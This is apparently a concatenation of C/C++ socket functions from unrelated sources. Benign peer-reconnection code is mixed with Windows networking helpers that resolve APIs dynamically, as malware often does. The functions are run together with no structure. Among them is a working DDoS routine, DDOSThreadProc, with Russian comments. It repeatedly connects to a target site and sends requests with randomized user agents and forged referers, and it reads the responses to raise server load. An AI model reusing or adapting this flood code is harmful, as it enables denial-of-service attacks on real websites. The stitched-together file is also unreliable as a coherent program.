int try_reconnect() { extern dexpd_config conf0; int i = 0; int socknum; for (i=0; i<conf0.nb_peers; i++) { if (conf0.peers[i].socknum == -1) { printf("trying to reconnect to peer %s...\n", conf0.peers[i].host ); if ( (socknum = pconnect(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) { fprintf(stderr,"Notice: cannot connect to peer %s\n", conf0.peers[i].host ); } else { printf("link established with peer %s !\n" , conf0.peers[i].host); conf0.peers[i].socknum = socknum; pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]); } } } return 0; }
SOCKET MyConnect1( char *Host, int Port ) { LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( lpHost == NULL ) { return -1; } SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 ); if( Socket == -1 ) { return -1; } struct sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list; SockAddr.sin_port = HTONS( (unsigned short)Port ); if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR ) { pclosesocket(Socket); return -1; } return Socket; }
// Функция выполнения многократного подключения к испытуемому сайту DWORD WINAPI DDOSThreadProc(TDDOS *DDOS) { TMemory Buf(1024); TMemory Referer(256); DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100; while (!DDOS->FTerminated) { // Создаём сокет SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0); if(Socket != SOCKET_ERROR) { // Подключаемся к серверу struct sockaddr_in SockAddr; SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list; SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port); // подключаемся к сокету if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR ) { // Генерируем данные PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount); string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z'); DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr()); int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0); // Для увеличения нагрузки на сервер пытаемся получить от сервера ответ if (Sended == Size) { Size = (int)precv(Socket, Buf.Buf(), 1024, 0); } } pclosesocket(Socket); } // Ждём до следующей отправки if (!DDOS->FTerminated) pSleep(SleepInterval); } pInterlockedDecrement(&DDOS->FThreadsCount); return 0; }
int connectAll() { extern dexpd_config conf0; int i = 0; int socknum; if (conf0.peers == NULL) printf("Notice: No peers in configuration\n"); for (i=0; i<conf0.nb_peers; i++) { conf0.peers[i].socknum = -1; conf0.peers[i].ssl = NULL; if (conf0.use_ipv6) { if ( (socknum = pconnect6(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) { } else { printf("link established with peer %s !\n" , conf0.peers[i].host); conf0.peers[i].socknum = socknum; pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]); } } if ( conf0.peers[i].socknum == -1 && (socknum = pconnect(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) { fprintf(stderr,"Notice: cannot connect to peer %s\n", conf0.peers[i].host ); } else if (conf0.peers[i].socknum == -1) { printf("link established with peer %s !\n" , conf0.peers[i].host); conf0.peers[i].socknum = socknum; pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]); } } return 0; }
SOCKET NetConnect( char *Host, int Port ) { int ip = (int)pinet_addr( (const char*)Host ); if ( ip == (int)INADDR_NONE ) { LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( !rhost ) { return -1; } ip = *(long*)( rhost )->h_addr_list[0]; if ( !ip ) { return -1; } } SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if ( Socket == INVALID_SOCKET ) { return -1; } LINGER l; l.l_linger = 3; l.l_onoff = 1; psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) ); struct sockaddr_in SockAddr; m_memset( &SockAddr, 0, sizeof( SockAddr ) ); SockAddr.sin_family = AF_INET; SockAddr.sin_port = HTONS( Port ); SockAddr.sin_addr.S_un.S_addr = ip; if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR ) { pclosesocket( Socket ); return -1; } return Socket; }
DWORD ConnectThread(LPVOID lpParameter) { ConnectionData* connData = (ConnectionData*)lpParameter; if ( (int)pconnect( connData->Socket, (const struct sockaddr*)&connData->SockAddr, sizeof( connData->SockAddr ) ) == SOCKET_ERROR ) { DWORD err = (DWORD)pGetLastError(); pclosesocket(connData->Socket); pExitThread(-1); } pExitThread(0); return 0; }